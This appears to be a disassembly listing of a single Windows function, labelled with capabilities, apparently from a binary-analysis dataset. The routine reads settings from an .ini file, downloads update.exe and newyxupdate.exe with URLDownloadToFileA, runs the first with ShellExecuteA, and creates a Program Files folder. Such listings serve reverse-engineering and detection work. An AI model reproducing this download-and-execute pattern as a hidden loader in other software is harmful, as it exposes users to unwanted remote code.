Function at 0x401d10
Capabilities:
Create directory
Create process on windows
Download url
Get common file path
Read .ini file
Receive data

Disassembly:
push 0xffffffffffffffff
push 0x427e18
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x28
mov eax, dword [0x433720]
push ebx
push ebp
push esi
push edi
mov dword [esp + 0x14], eax
mov dword [esp + 0x40], 0
mov dword [esp + 0x10], eax
push pe_nt_image_headers32
push pe_nt_image_headers32
lea ecx, [esp + 0x18]
mov byte [esp + 0x48], 1
call fcn.0041e12a
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0xffffffffffffffff
lea ecx, [esp + 0x14]
call fcn.0041e179
push 0x433190
lea ecx, [esp + 0x14]
call fcn.0041b785
push eax
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x18]
call fcn.0041b6eb
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x44], 2
call fcn.0041de5a
lea ecx, [esp + 0x18]
mov byte [esp + 0x40], 1
call fcn.0041dd21
mov esi, dword [esp + 0x48]
mov ebp, dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
mov eax, dword [esi + 0x5c]
push eax
push 0
push str.down
push 0x433204
call ebp
mov ebx, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
je 0x401e69
mov eax, dword [esi + 0x5c]
lea ecx, [esp + 0x14]
push eax
push pe_nt_image_headers32
push pe_nt_image_headers32
call fcn.0041e12a
push eax
push 0x437614
push 0x433200
push 0x433204
call ebx
push 0xffffffffffffffff
lea ecx, [esp + 0x18]
call fcn.0041e179
lea ecx, [esp + 0x10]
push str.update.exe
lea edx, [esp + 0x4c]
push ecx
push edx
call fcn.0041dfb6
mov eax, dword [eax]
push 0
push 0
push eax
mov eax, dword [esp + 0x20]
push eax
push 0
call sub.urlmon.dll_URLDownloadToFileA
lea ecx, [esp + 0x48]
mov edi, eax
call fcn.0041dd21
test edi, edi
jl 0x401e69
lea ecx, [esp + 0x10]
push str.update.exe
lea edx, [esp + 0x4c]
push ecx
push edx
call fcn.0041dfb6
mov eax, dword [eax]
push 1
push 0
push 0
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea ecx, [esp + 0x48]
call fcn.0041dd21
mov eax, dword [esi + 0x5c]
push eax
push 0
push str.down
push str.main
call ebp
test eax, eax
je 0x401f9e
mov eax, dword [esi + 0x5c]
lea ecx, [esp + 0x14]
push eax
push pe_nt_image_headers32
push pe_nt_image_headers32
call fcn.0041e12a
push eax
push 0x437614
push 0x433200
push str.main
call ebx
push 0xffffffffffffffff
lea ecx, [esp + 0x18]
call fcn.0041e179
lea ecx, [esp + 0x1c]
call fcn.00405895
lea eax, [esp + 0x10]
push str.Program_Files_newyx
lea ecx, [esp + 0x4c]
push eax
push ecx
mov byte [esp + 0x4c], 3
call fcn.0041dfb6
mov eax, dword [eax]
push 0
push eax
lea ecx, [esp + 0x24]
mov byte [esp + 0x48], 4
call fcn.00405958
test eax, eax
lea ecx, [esp + 0x48]
mov byte [esp + 0x40], 3
sete bl
call fcn.0041dd21
test bl, bl
je 0x401f2b
lea edx, [esp + 0x10]
push str.Program_Files_newyx
lea eax, [esp + 0x4c]
push edx
push eax
call fcn.0041dfb6
mov eax, dword [eax]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [esp + 0x48]
call fcn.0041dd21
lea ecx, [esp + 0x10]
push str.Program_Files_newyx_newyxupdate.exe
lea edx, [esp + 0x4c]
push ecx
push edx
call fcn.0041dfb6
mov eax, dword [eax]
push 0
push 0
push eax
mov eax, dword [esp + 0x20]
push eax
push 0
call sub.urlmon.dll_URLDownloadToFileA
lea ecx, [esp + 0x48]
mov edi, eax
call fcn.0041dd21
test edi, edi
jl 0x401f90
mov esi, dword [esi + 0x68]
test esi, esi
je 0x401f71
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push ecx
lea edx, [esp + 0x14]
mov ecx, esp
mov dword [esp + 0x1c], esp
push str.Program_Files_newyx_
push edx
push ecx
call fcn.0041dfb6
call fcn.00401900
add esp, 4
lea ecx, [esp + 0x1c]
mov byte [esp + 0x40], 1
call fcn.004058d2
lea ecx, [esp + 0x10]
mov byte [esp + 0x40], 0
call fcn.0041dd21
lea ecx, [esp + 0x14]
mov dword [esp + 0x40], 0xffffffff
call fcn.0041dd21
mov ecx, dword [esp + 0x38]
pop edi
pop esi
pop ebp
xor eax, eax
mov dword fs:[0], ecx
pop ebx
add esp, 0x34
ret 4